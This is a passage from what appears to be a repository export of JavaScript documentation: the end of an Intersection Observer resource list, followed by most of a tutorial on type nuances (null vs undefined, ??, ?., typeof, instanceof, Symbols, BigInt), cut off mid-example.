icon=\"newspaper\" href=\"https://css-tricks.com/a-few-functional-uses-for-intersection-observer-to-know-when-an-element-is-in-view/\">\n    Practical walkthrough of real-world Intersection Observer use cases including lazy loading, content visibility tracking, and auto-pausing videos. Great code examples with detailed explanations.\n  </Card>\n  <Card title=\"Intersection Observer v2: Trust is good, observation is better — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/intersectionobserver-v2\">\n    Covers the advanced Intersection Observer v2 API for tracking actual visibility (not just intersection). Essential reading for ad viewability and fraud prevention use cases.\n  </Card>\n  <Card title=\"Scroll Animations with Intersection Observer — freeCodeCamp\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/scroll-animations-with-javascript-intersection-observer-api/\">\n    Step-by-step guide to implementing scroll-triggered animations. Covers reveal-on-scroll effects, CSS transitions, and best practices for performant animations.\n  </Card>\n  <Card title=\"The Complete Guide to Lazy Loading Images — CSS-Tricks\" icon=\"newspaper\" href=\"https://css-tricks.com/the-complete-guide-to-lazy-loading-images/\">\n    Comprehensive guide covering all lazy loading approaches including Intersection Observer, native loading=\"lazy\", and fallback strategies. Includes performance considerations.\n  </Card>\n</CardGroup>\n\n### Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Learn Intersection Observer In 15 Minutes — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=2IbRtjez6ag\">\n    Clear, beginner-friendly introduction covering observer basics, all configuration options, and a practical infinite scroll implementation. Perfect starting point.\n  </Card>\n  <Card title=\"Introduction to Intersection Observer — Kevin Powell\" icon=\"video\" href=\"https://www.youtube.com/watch?v=T8EYosX4NOo\">\n    Explains why Intersection Observer is better than scroll events, with visual demonstrations of how intersection detection works. Great for understanding the fundamentals.\n  </Card>\n  <Card title=\"Lazy Load Images with Intersection Observer — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=aUjBvuUdkhg\">\n    Quick, practical tutorial showing how to implement lazy-loaded images. Covers data attributes, viewport detection, and unobserving after load.\n  </Card>\n  <Card title=\"How to Lazy Load Images — Kevin Powell\" icon=\"video\" href=\"https://www.youtube.com/watch?v=mC93zsEsSrg\">\n    Detailed lazy loading implementation with rootMargin for pre-loading and practical tips for production use. Great follow-up after learning the basics.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/javascript-type-nuances.mdx",
    "content": "---\ntitle: \"JavaScript Type Nuances\"\nsidebarTitle: \"Type Nuances\"\ndescription: \"Learn JavaScript type nuances: null vs undefined, typeof quirks, nullish coalescing (??), optional chaining (?.), Symbols, and BigInt for large integers.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Type System\"\n\"article:tag\": \"javascript types, typeof operator, null undefined, nullish coalescing, optional chaining, bigint symbols\"\n---\n\nWhy does `typeof null` return `'object'`? Why does `0 || 'default'` give you `'default'` when `0` is a perfectly valid value? And why do Symbols exist when we already have strings for object keys?\n\n```javascript\n// JavaScript's type system has quirks you need to know\nlet user              // undefined — not initialized\nlet data = null       // null — intentionally empty\n\ntypeof null           // 'object' — a famous bug!\ntypeof undefined      // 'undefined'\n\n0 || 'fallback'       // 'fallback' — but 0 is valid!\n0 ?? 'fallback'       // 0 — nullish coalescing saves the day\n\nconst id = Symbol('id')  // Unique, collision-proof key\nconst huge = 9007199254740993n  // BigInt for precision\n```\n\nJavaScript's type system is full of these nuances. Understanding them separates developers who write predictable code from those who constantly debug mysterious behavior.\n\n<Info>\n**What you'll learn in this guide:**\n- The difference between `null` and `undefined` (and when to use each)\n- Short-circuit evaluation with `&&`, `||`, `??`, and `?.`\n- The `typeof` operator's quirks and edge cases\n- How `instanceof` works and how to customize it with `Symbol.hasInstance`\n- Symbols for creating unique identifiers and well-known symbols\n- BigInt for working with numbers beyond JavaScript's safe integer limit\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [Primitive Types](/concepts/primitive-types) and [Type Coercion](/concepts/type-coercion). If you're not comfortable with JavaScript's basic types and how they convert, read those guides first.\n</Warning>\n\n---\n\n## What are JavaScript Type Nuances?\n\n**JavaScript type nuances** are the subtle behaviors, quirks, and advanced features of JavaScript's type system that go beyond basic types. They include the semantic differences between `null` and `undefined`, the historical quirks of the [`typeof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof) operator, modern operators like [nullish coalescing](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing) (`??`), and primitive types like [`Symbol`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) and [`BigInt`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) that solve specific problems.\n\n---\n\n## JavaScript is Dynamically Typed\n\nBefore diving into type nuances, it's important to understand that **JavaScript is a dynamically typed language**. Unlike statically typed languages like TypeScript, Rust, Java, or C++, JavaScript doesn't require you to declare variable types, and types are checked at runtime rather than compile time.\n\n```javascript\n// In JavaScript, variables can hold any type and change types freely\nlet value = 42           // value is a number\nvalue = 'hello'          // now it's a string\nvalue = { name: 'Alice' } // now it's an object\nvalue = null             // now it's null\n\n// No compiler errors — JavaScript figures out types at runtime\n```\n\nThis flexibility is both powerful and dangerous:\n\n```javascript\n// TypeScript / Rust / Java would catch this at compile time:\nfunction add(a, b) {\n  return a + b\n}\n\nadd(5, 3)        // 8 — works as expected\nadd('5', 3)      // '53' — string concatenation, not addition!\nadd(null, 3)     // 3 — null becomes 0\nadd(undefined, 3) // NaN — undefined becomes NaN\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│              STATIC vs DYNAMIC TYPING COMPARISON                         │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  STATICALLY TYPED                      DYNAMICALLY TYPED                 │\n│  (TypeScript, Rust, Java)              (JavaScript, Python, Ruby)        │\n│  ─────────────────────────             ──────────────────────────        │\n│                                                                          │\n│  • Types declared explicitly           • Types inferred at runtime       │\n│  • Type errors caught at compile       • Type errors occur at runtime    │\n│  • Variables have fixed types          • Variables can change types      │\n│  • More verbose, safer                 • More flexible, riskier          │\n│                                                                          │\n│  let name: string = \"Alice\"            let name = \"Alice\"                │\n│  name = 42  // ❌ Compile error        name = 42  // ✓ No error          │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nBecause JavaScript won't stop you from mixing types, **you need to understand how types behave** — which is exactly what this guide covers. The `typeof` operator, type coercion, and operators like `??` and `?.` exist specifically to help you handle JavaScript's dynamic nature safely.\n\n<Note>\n**TypeScript adds static typing to JavaScript.** If you want compile-time type safety, TypeScript is an excellent choice. But even TypeScript compiles to JavaScript, so understanding JavaScript's runtime type behavior is essential for all JavaScript developers.\n</Note>\n\n---\n\n## The Empty Box Analogy\n\nThink of variables like boxes:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    UNDEFINED vs NULL: THE BOX ANALOGY                    │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   UNDEFINED                              NULL                            │\n│   ─────────                              ────                            │\n│                                                                          │\n│   ┌─────────────┐                       ┌─────────────┐                  │\n│   │             │                       │             │                  │\n│   │     ???     │                       │   [empty]   │                  │\n│   │             │                       │             │                  │\n│   └─────────────┘                       └─────────────┘                  │\n│                                                                          │\n│   \"What box? I never                    \"Here's an empty box.            │\n│    put anything here!\"                   I'm telling you there's         │\n│                                          nothing inside on purpose.\"     │\n│                                                                          │\n│   • Variable declared but not assigned  • Variable intentionally set     │\n│   • Missing object property             • Represents \"no value\"          │\n│   • Function returns nothing            • End of prototype chain         │\n│   • Missing function parameter          • Cleared reference              │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**undefined** means the box was never filled. **null** means someone deliberately put an empty placeholder in the box. This distinction matters for writing clear, intentional code.\n\n---\n\n## null vs undefined: The Two Kinds of \"Nothing\"\n\nJavaScript is unique among programming languages in having two representations for \"no value.\" Understanding when JavaScript uses each helps you write more predictable code.\n\n### When JavaScript Returns undefined\n\nJavaScript returns [`undefined`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined) automatically in these situations:\n\n```javascript\n// 1. Variables declared but not initialized\nlet name\nconsole.log(name)  // undefined\n\n// 2. Missing object properties\nconst user = { name: 'Alice' }\nconsole.log(user.age)  // undefined\n\n// 3. Functions that don't return anything\nfunction greet() {\n  console.log('Hello!')\n  // no return statement\n}\nconsole.log(greet())  // undefined\n\n// 4. Missing function parameters\nfunction sayHi(name) {\n  console.log(name)\n}\nsayHi()  // undefined\n\n// 5. Array holes\nconst sparse = [1, , 3]\nconsole.log(sparse[1])  // undefined\n```\n\n### When to Use null\n\nUse [`null`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/null) when you want to explicitly indicate \"no value\" or \"empty\":\n\n```javascript\n// 1. Intentionally clearing a value\nlet currentUser = { name: 'Alice' }\ncurrentUser = null  // User logged out\n\n// 2. API responses for missing data\nconst response = {\n  user: null,  // User not found, but the field exists\n  error: null  // No error occurred\n}\n\n// 3. DOM methods that find nothing\ndocument.querySelector('.nonexistent')  // null\n\n// 4. End of prototype chain\nObject.getPrototypeOf(Object.prototype)  // null\n\n// 5. Optional parameters with default values\nfunction createUser(name, email = null) {\n  return { name, email }  // email is explicitly optional\n}\n```\n\n### Comparing null and undefined\n\nHere's how these values behave in different contexts:\n\n| Operation | `null` | `undefined` |\n|-----------|--------|-------------|\n| `typeof` | `'object'` (bug!) | `'undefined'` |\n| `== null` | `true` | `true` |\n| `=== null` | `true` | `false` |\n| `Boolean()` | `false` | `false` |\n| `Number()` | `0` | `NaN` |\n| `String()` | `'null'` | `'undefined'` |\n| `JSON.stringify()` | `null` | omitted |\n\n```javascript\n// The equality quirk\nnull == undefined   // true (loose equality)\nnull === undefined  // false (strict equality)\n\n// Type checking differences\ntypeof null         // 'object' — historical bug!\ntypeof undefined    // 'undefined'\n\n// Numeric coercion\nnull + 1            // 1 (null becomes 0)\nundefined + 1       // NaN (undefined becomes NaN)\n\n// JSON serialization\nJSON.stringify({ a: null, b: undefined })\n// '{\"a\":null}' — undefined properties are skipped!\n```\n\n### Checking for Both\n\nTo check if a value is either `null` or `undefined`, you have several options:\n\n```javascript\nconst value = getSomeValue()\n\n// Option 1: Loose equality (catches both null and undefined)\nif (value == null) {\n  console.log('No value')\n}\n\n// Option 2: Explicit check\nif (value === null || value === undefined) {\n  console.log('No value')\n}\n\n// Option 3: Nullish coalescing for defaults\nconst result = value ?? 'default'  // Only triggers for null/undefined\n```\n\n<Tip>\n**Quick Rule:** Use `== null` to check for both `null` and `undefined` in one shot. This is one of the few cases where loose equality is preferred over strict equality.\n</Tip>\n\n---\n\n## Short-Circuit Evaluation: && || ?? and ?.\n\nJavaScript's logical operators don't just return `true` or `false`. They return the actual value that determined the result. Understanding this unlocks powerful patterns.\n\n### Logical OR (||) — First Truthy Value\n\nThe [`||`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_OR) operator returns the first [truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy) value, or the last value if none are truthy:\n\n```javascript\n// Returns the first truthy value\n'hello' || 'default'   // 'hello'\n'' || 'default'        // 'default' (empty string is falsy)\n0 || 42                // 42 (0 is falsy!)\nnull || 'fallback'     // 'fallback'\nundefined || 'fallback' // 'fallback'\n\n// Common pattern: default values\nconst username = user.name || 'Anonymous'\nconst port = config.port || 3000\n```\n\nThe problem with `||` is it treats **all falsy values** as triggers for the fallback:\n\n```javascript\n// Falsy values: false, 0, '', null, undefined, NaN\n\n// This might not do what you want!\nconst count = userCount || 10   // If userCount is 0, you get 10!\nconst name = userName || 'Guest' // If userName is '', you get 'Guest'!\n```\n\n### Logical AND (&&) — First Falsy Value\n\nThe [`&&`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_AND) operator returns the first falsy value, or the last value if all are truthy:\n\n```javascript\n// Returns the first falsy value\ntrue && 'hello'        // 'hello' (both truthy, returns last)\n'hello' && 42          // 42\nnull && 'hello'        // null (first falsy)\n0 && 'hello'           // 0 (first falsy)\n\n// Common pattern: conditional execution\nuser && user.name      // Only access name if user exists\nisAdmin && deleteButton.show()  // Only call if isAdmin is truthy\n```\n\n### Nullish Coalescing (??) — Only null/undefined\n\nThe [`??`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing) operator is the modern solution, introduced in ES2020. According to the [V8 blog](https://v8.dev/features/nullish-coalescing), the nullish coalescing operator was one of the most requested features by the JavaScript community. It only falls back when the left side is `null` or `undefined`:\n\n```javascript\n// Only null and undefined trigger the fallback\n0 ?? 42           // 0 (0 is NOT nullish!)\n'' ?? 'default'   // '' (empty string is NOT nullish!)\nfalse ?? true     // false\nnull ?? 'fallback'     // 'fallback'\nundefined ?? 'fallback' // 'fallback'\n\n// Now you can safely use 0 and '' as valid values\nconst count = userCount ?? 10   // 0 stays as 0\nconst name = userName ?? 'Guest' // '' stays as ''\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                          || vs ?? COMPARISON                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   EXPRESSION              ||               ??                            │\n│   ──────────              ──               ──                            │\n│                                                                          │\n│   0 || 42                 42               0                             │\n│   '' || 'default'         'default'        ''                            │\n│   false || true           true             false                         │\n│   NaN || 0                0                NaN                           │\n│   null || 'fallback'      'fallback'       'fallback'                    │\n│   undefined || 'fallback' 'fallback'       'fallback'                    │\n│                                                                          │\n│   KEY DIFFERENCE:                                                        │\n│   || triggers on ANY falsy value (false, 0, '', null, undefined, NaN)   │\n│   ?? triggers ONLY on null or undefined                                  │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Warning>\n**Heads up:** You cannot mix `??` with `&&` or `||` without parentheses. JavaScript throws a `SyntaxError` to prevent ambiguity:\n\n```javascript\n// ❌ SyntaxError\nnull || undefined ?? 'default'\n\n// ✓ Use parentheses to clarify intent\n(null || undefined) ?? 'default'  // 'default'\nnull || (undefined ?? 'default')  // 'default'\n```\n</Warning>\n\n### Optional Chaining (?.) — Safe Property Access\n\nThe [`?.`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining) operator stops evaluation if the left side is `null` or `undefined`, returning `undefined` instead of throwing an error:\n\n```javascript\nconst user = {\n  name: 'Alice',\n  address: {\n    city: 'Wonderland'\n  }\n}\n\n// Without optional chaining — verbose and error-prone\nconst city = user && user.address && user.address.city\n\n// With optional chaining — clean and safe\nconst city = user?.address?.city  // 'Wonderland'\n\n// Works with missing properties\nconst nullUser = null\nnullUser?.name           // undefined (no error!)\nnullUser?.address?.city  // undefined (no error!)\n\n// Works with arrays\nconst users = [{ name: 'Alice' }]\nusers?.[0]?.name  // 'Alice'\nusers?.[99]?.name // undefined\n\n// Works with function calls\nconst api = {\n  getUser: () => ({ name: 'Alice' })\n}\napi.getUser?.()           // { name: 'Alice' }\napi.nonexistent?.()       // undefined (no error!)\n```\n\n### Combining ?? and ?.\n\nThese operators work beautifully together:\n\n```javascript\n// Get deeply nested value with a default\nconst theme = user?.settings?.theme ?? 'light'\n\n// Safe function call with default return\nconst result = api.getData?.() ?? []\n\n// Real-world example: configuration\nconst config = {\n  api: {\n    // timeout might be intentionally set to 0\n  }\n}\n\nconst timeout = config?.api?.timeout ?? 5000  // 5000 (no timeout set)\n\n// If timeout was 0:\nconfig.api.timeout = 0\nconst timeout2 = config?.api?.timeout ?? 5000  // 0 (respects the explicit 0)\n```\n\n---\n\n## The typeof Operator and Its Quirks\n\nThe [`typeof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof) operator returns a string indicating the type of a value. It's useful, but has some surprising behaviors.\n\n### Basic Usage\n\n```javascript\n// Primitives\ntypeof 'hello'      // 'string'\ntypeof 42           // 'number'\ntypeof 42n          // 'bigint'\ntypeof true         // 'boolean'\ntypeof undefined    // 'undefined'\ntypeof Symbol('id') // 'symbol'\n\n// Objects and functions\ntypeof {}           // 'object'\ntypeof []           // 'object' (arrays are objects!)\ntypeof new Date()   // 'object'\ntypeof /regex/      // 'object'\ntypeof function(){} // 'function' (special case)\ntypeof class {}     // 'function' (classes are functions)\n```\n\n### The typeof null Bug\n\nThis is JavaScript's most famous quirk:\n\n```javascript\ntypeof null  // 'object' — NOT 'null'!\n```\n\nThis is a bug from the first version of JavaScript in 1995. In the original implementation, values were stored with a type tag. Objects had a type tag of `0`. `null` was represented as the NULL pointer (`0x00`), which also had a type tag of `0`. So `typeof null` returned `'object'`. As Dr. Axel Rauschmayer documented in his analysis of the [original JavaScript source code](https://2ality.com/2013/10/typeof-null.html), a proposal to fix this (typeof null === 'null') was rejected by TC39 because it would break an estimated 10% of existing websites.\n\nFixing this bug would break too much existing code, so it remains. To properly check for `null`:\n\n```javascript\n// ❌ Wrong — typeof doesn't work for null\nif (typeof value === 'null') { }  // Never true!\n\n// ✓ Correct — direct comparison\nif (value === null) { }\n\n// ✓ Also correct — check both null and undefined\nif (value == null) { }\n```\n\n### typeof with Undeclared Variables\n\nUnlike most operations, `typeof` doesn't throw an error for undeclared variables:\n\n```javascript\n// This would throw ReferenceError\nconsole.log(undeclaredVar)  // ReferenceError: undeclaredVar is not defined\n\n// But typeof returns 'undefined' safely\ntypeof undeclaredVar  // 'undefined'\n\n// Useful for feature detection\nif (typeof window !== 'undefined') {\n  // Running in a browser\n}\n\nif (typeof process !== 'undefined') {\n  // Running in Node.js\n}\n```\n\n### typeof with the Temporal Dead Zone\n\nHowever, `typeof` does throw for `let`/`const` variables accessed before declaration:\n\n```javascript\n// let and const create a Temporal Dead Zone (TDZ)\nconsole.log(typeof myVar)  // ReferenceError!\nlet myVar = 'hello'\n\n// This is because the variable exists but isn't initialized yet\n// See the Temporal Dead Zone guide for more details\n```\n\n### Complete typeof Return Values\n\n| Value | `typeof` Result |\n|-------|-----------------|\n| `undefined` | `'undefined'` |\n| `null` | `'object'` (bug) |\n| `true` / `false` | `'boolean'` |\n| Any number | `'number'` |\n| Any BigInt | `'bigint'` |\n| Any string | `'string'` |\n| Any Symbol | `'symbol'` |\n| Any function | `'function'` |\n| Any other object | `'object'` |\n\n### Better Type Checking\n\nFor more precise type checking, use these patterns:\n\n```javascript\n// Check for array\nArray.isArray([1, 2, 3])  // true\nArray.isArray('hello')    // false\n\n// Check for null specifically\nvalue === null\n\n// Check for plain objects\nObject.prototype.toString.call({})        // '[object Object]'\nObject.prototype.toString.call([])        // '[object Array]'\nObject.prototype.toString.call(null)      // '[object Null]'\nObject.prototype.toString.call(undefined) // '[object Undefined]'\nObject.prototype.toString.call(new Date()) // '[object Date]'\n\n// Helper function for precise type checking\nfunction getType(value) {\n  return Object.prototype.toString.call(value).slice(8, -1).toLowerCase()\n}\n\ngetType(null)        // 'null'\ngetType([])          // 'array'\ngetType({})          // 'object'\ngetType(new Date())  // 'date'\ngetType(/regex/)     // 'regexp'\n```\n\n---\n\n## instanceof and Symbol.hasInstance\n\nWhile `typeof` checks primitive types, [`instanceof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof) checks if an object was created by a specific constructor or class.\n\n### How instanceof Works\n\n```javascript\nclass Animal {}\nclass Dog extends Animal {}\n\nconst buddy = new Dog()\n\nbuddy instanceof Dog     // true\nbuddy instanceof Animal  // true (inheritance chain)\nbuddy instanceof Object  // true (everything inherits from Object)\nbuddy instanceof Array   // false\n\n// Works with built-in constructors too\n[] instanceof Array      // true\n{} instanceof Object     // true\nnew Date() instanceof Date // true\n/regex/ instanceof RegExp  // true\n\n// But not with primitives!\n'hello' instanceof String  // false (primitive, not String object)\n42 instanceof Number       // false (primitive, not Number object)\n```\n\n### instanceof Checks the Prototype Chain\n\n`instanceof` works by checking if the constructor's `prototype` property exists anywhere in the object's prototype chain:\n\n```javascript\nclass Animal {\n  speak() { return 'Some sound' }\n}\n\nclass Dog extends Animal {\n  speak() { return 'Woof!' }\n}\n\nconst buddy = new Dog()\n\n// instanceof checks if Dog.prototype is in buddy's chain\nDog.prototype.isPrototypeOf(buddy)     // true\nAnimal.prototype.isPrototypeOf(buddy)  // true\n\n// You can break instanceof by reassigning prototype\nDog.prototype = {}\nbuddy instanceof Dog  // false now!\n```\n\n### Customizing instanceof with Symbol.hasInstance\n\nYou can customize how `instanceof` behaves using [`Symbol.hasInstance`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance):\n\n```javascript\n// Custom class that considers any object with a 'quack' method a Duck\nclass Duck {\n  static [Symbol.hasInstance](instance) {\n    return instance?.quack !== undefined\n  }\n}\n\nconst mallard = { quack: () => 'Quack!' }\nconst dog = { bark: () => 'Woof!' }\n\nmallard instanceof Duck  // true (has quack method)\ndog instanceof Duck      // false (no quack method)\n\n// Real-world example: validating data shapes\nclass ValidUser {\n  static [Symbol.hasInstance](obj) {\n    return obj !== null &&\n           typeof obj === 'object' &&\n           typeof obj.id === 'number' &&\n           typeof obj.email === 'string'\n  }\n}\n\nconst user = { id: 1, email: 'alice@example.com' }\nconst invalid = { name: 'Bob' }\n\nuser instanceof ValidUser    // true\ninvalid instanceof ValidUser // false\n```\n\n### instanceof vs typeof\n\n| Check | Use `typeof` | Use `instanceof` |\n|-------|-------------|------------------|\n| Is it a string? | `typeof x === 'string'` | ❌ (primitives fail) |\n| Is it a number? | `typeof x === 'number'` | ❌ (primitives fail) |\n| Is it an array? | ❌ (returns 'object') | `x instanceof Array` or `Array.isArray(x)` |\n| Is it a Date? | ❌ (returns 'object') | `x instanceof Date` |\n| Is it a custom class? | ❌ | `x instanceof MyClass` |\n\n---\n\n## Symbols: Unique Identifiers\n\n[`Symbol`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) is a primitive type introduced in ES2015 that creates guaranteed unique identifiers. Every `Symbol()` call creates a new, unique value. According to MDN, Symbols are the only primitive type that serves as a non-string property key, making them essential for metaprogramming and avoiding property name collisions in shared codebases.\n\n### Creating Symbols\n\n```javascript\n// Create symbols with optional descriptions\nconst id = Symbol('id')\nconst anotherId = Symbol('id')\n\n// Every symbol is unique!\nid === anotherId  // false (different symbols)\nid === id         // true (same symbol)\n\n// The description is just for debugging\nconsole.log(id)          // Symbol(id)\nconsole.log(id.description) // 'id'\n```\n\n### Using Symbols as Object Keys\n\nSymbols solve the problem of property name collisions:\n\n```javascript\n// Problem: property name collision\nconst user = {\n  id: 123,\n  name: 'Alice'\n}\n\n// A library might want to add its own 'id' — collision!\nuser.id = 'library-internal-id'  // Oops, overwrote the user's id!\n\n// Solution: use a Symbol\nconst internalId = Symbol('internal-id')\nuser[internalId] = 'library-internal-id'\n\nconsole.log(user.id)         // 123 (original preserved)\nconsole.log(user[internalId]) // 'library-internal-id'\n\n// Symbols are hidden from normal iteration\nObject.keys(user)        // ['id', 'name'] — no symbol!\nJSON.stringify(user)     // '{\"id\":123,\"name\":\"Alice\"}' — no symbol!\n\n// But you can still access them\nObject.getOwnPropertySymbols(user)  // [Symbol(internal-id)]\n```\n\n### Global Symbol Registry\n\nUse `Symbol.for()` to create symbols that can be shared across files or even iframes:\n\n```javascript\n// Create or retrieve a global symbol\nconst globalId = Symbol.for('app.userId')\n\n// Same key returns the same symbol\nconst sameId = Symbol.for('app.userId')\nglobalId === sameId  // true\n\n// Get the key from a global symbol\nSymbol.keyFor(globalId)  // 'app.userId'\n\n// Regular symbols aren't in the registry\nconst localId = Symbol('local')\nSymbol.keyFor(localId)  // undefined\n```\n\n### Well-Known Symbols\n\nJavaScript has built-in symbols that let you customize object behavior:\n\n```javascript\n// Symbol.iterator — make objects iterable\nconst range = {\n  start: 1,\n  end: 5,\n  [Symbol.iterator]() {\n    let current = this.start\n    const end = this.end\n    return {\n      next() {\n        if (current <= end) {\n          return { value: current++, done: false }\n        }\n        return { done: true }\n      }\n    }\n  }\n}\n\nfor (const num of range) {\n  console.log(num)  // 1, 2, 3, 4, 5\n}\n\n// Symbol.toStringTag — customize Object.prototype.toString\nclass MyClass {\n  get [Symbol.toStringTag]() {\n    return 'MyClass'\n  }\n}\n\nObject.prototype.toString.call(new MyClass())  // '[object MyClass]'\n\n// Symbol.toPrimitive — customize type conversion\nconst money = {\n  amount: 100,\n  currency: 'USD',\n  [Symbol.toPrimitive](hint) {\n    if (hint === 'number') return this.amount\n    if (hint === 'string') return `${this.currency} ${this.amount}`\n    return this.amount\n  }\n}\n\n+money       // 100 (hint: 'number')\n`${money}`   // 'USD 100' (hint: 'string')\n```\n\n### Common Well-Known Symbols\n\n| Symbol | Purpose |\n|--------|---------|\n| `Symbol.iterator` | Define how to iterate over an object |\n| `Symbol.asyncIterator` | Define async iteration |\n| `Symbol.toStringTag` | Customize `[object X]` output |\n| `Symbol.toPrimitive` | Customize type conversion |\n| `Symbol.hasInstance` | Customize `instanceof` behavior |\n| `Symbol.isConcatSpreadable` | Control `Array.concat` spreading |\n\n---\n\n## BigInt: Numbers Beyond the Limit\n\nRegular JavaScript numbers have a precision limit. [`BigInt`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) lets you work with integers of any size.\n\n### The Precision Problem\n\n```javascript\n// JavaScript numbers are 64-bit floating point\n// They can only safely represent integers up to 2^53 - 1\n\nconsole.log(Number.MAX_SAFE_INTEGER)  // 9007199254740991\n\n// Beyond this, precision is lost\n9007199254740992 === 9007199254740993  // true! (they're the same to JS)\n\n// This causes real problems\nconst twitterId = 9007199254740993\nconsole.log(twitterId)  // 9007199254740992 — wrong!\n```\n\n### Creating BigInt Values\n\n```javascript\n// Add 'n' suffix to number literals\nconst big = 9007199254740993n\nconsole.log(big)  // 9007199254740993n — correct!\n\n// Or use the BigInt() function\nconst alsoBig = BigInt('9007199254740993')\nconst fromNumber = BigInt(42)  // Only safe for integers within safe range\n\n// BigInt preserves precision\n9007199254740992n === 9007199254740993n  // false (correctly different!)\n```\n\n### BigInt Operations\n\n```javascript\nconst a = 10n\nconst b = 3n\n\n// Arithmetic works as expected\na + b    // 13n\na - b    // 7n\na * b    // 30n\na ** b   // 1000n\n\n// Division truncates (no decimals)\na / b    // 3n (not 3.333...)\n\n// Remainder\na % b    // 1n\n\n// Comparison\na > b    // true\na === 10n // true\n```\n\n### BigInt Limitations\n\n```javascript\n// ❌ Cannot mix BigInt and Number in operations\n10n + 5   // TypeError: Cannot mix BigInt and other types\n\n// ✓ Convert explicitly\n10n + BigInt(5)  // 15n\nNumber(10n) + 5  // 15 (but may lose precision for large values!)\n\n// ❌ Cannot use with Math methods\nMath.max(1n, 2n)  // TypeError\n\n// ✓ Compare using > < instead\n1n > 2n ? 1n : 2n  // 2n\n\n// ❌ Cannot use unary +\n+10n  // TypeError\n\n// ✓ Use Number() or just use the value\nNumber(10n)  // 10\n\n// BigInt in JSON\nJSON.stringify({ id: 10n })  // TypeError: BigInt value can't be serialized\n\n// ✓ Convert to string first\nJSON.stringify({ id: 10n.toString() })  // '{\"id\":\"10\"}'\n```\n\n### When to Use BigInt\n\n```javascript\n// 1. Working with large IDs (Twitter, Discord, etc.)\nconst tweetId = 1234567890123456789n\n\n// 2. Cryptographic operations\nconst largeKey = 2n ** 256n\n\n// 3. Financial calculations requiring exact integers\n// (though for money, usually use integers in cents, not BigInt)\nconst worldDebt = 300_000_000_000_000n  // $300 trillion in dollars\n\n// 4. When you need arbitrary precision\nfunction factorial(n) {\n  if (n <= 1n) return 1n\n  return n * factorial(n - 1n)\n}\nfactorial(100n)  // Huge number, no precision loss!\n```\n\n<Note>\n**When NOT to use BigInt:** For normal integer operations within JavaScript's safe range (±9 quadrillion), regular numbers are faster and more convenient. Only reach for BigInt when you actually need values beyond `Number.MAX_SAFE_INTEGER`.\n</Note>\n\n---\n\n## Common Mistakes\n\n<AccordionGroup>\n  <Accordion title=\"Using || when you need ??\">\n    The `||` operator treats `0`, `''`, and `false` as falsy, which might not be what you want:\n    \n    ```javascript\n    // ❌ Wrong — loses valid values\n    const count = userCount || 10   // If userCount is 0, you get 10!\n    const name = userName || 'Guest' // If userName is '', you get 'Guest'!\n    \n    // ✓ Correct — only fallback on null/undefined\n    const count = userCount ?? 10   // 0 stays as 0\n    const name = userName ?? 'Guest' // '' stays as ''\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Using typeof to check for null\">\n    `typeof null` returns `'object'`, not `'null'`:\n    \n    ```javascript\n    // ❌ Wrong — never works\n    if (typeof value === 'null') {\n      // This block never executes!\n    }\n    \n    // ✓ Correct — direct comparison\n    if (value === null) {\n      // This works\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Mixing BigInt and Number in operations\">\n    You can't use `+`, `-`, `*`, `/` between BigInt and Number:\n    \n    ```javascript\n    // ❌ TypeError\n    10n + 5\n    BigInt(10) * 3\n    \n    // ✓ Convert to the same type first\n    10n + BigInt(5)  // 15n\n    Number(10n) + 5  // 15\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Expecting instanceof to work with primitives\">\n    `instanceof` checks the prototype chain, which primitives don't have:\n    \n    ```javascript\n    // ❌ Always false for primitives\n    'hello' instanceof String  // false\n    42 instanceof Number       // false\n    \n    // ✓ Use typeof for primitives\n    typeof 'hello' === 'string'  // true\n    typeof 42 === 'number'       // true\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Not handling both null and undefined\">\n    When checking for missing values, remember there are two:\n    \n    ```javascript\n    // ❌ Incomplete — misses undefined\n    if (value === null) {\n      return 'No value'\n    }\n    \n    // ✓ Complete — handles both\n    if (value == null) {  // Loose equality catches both\n      return 'No value'\n    }\n    \n    // ✓ Also complete\n    if (value === null || value === 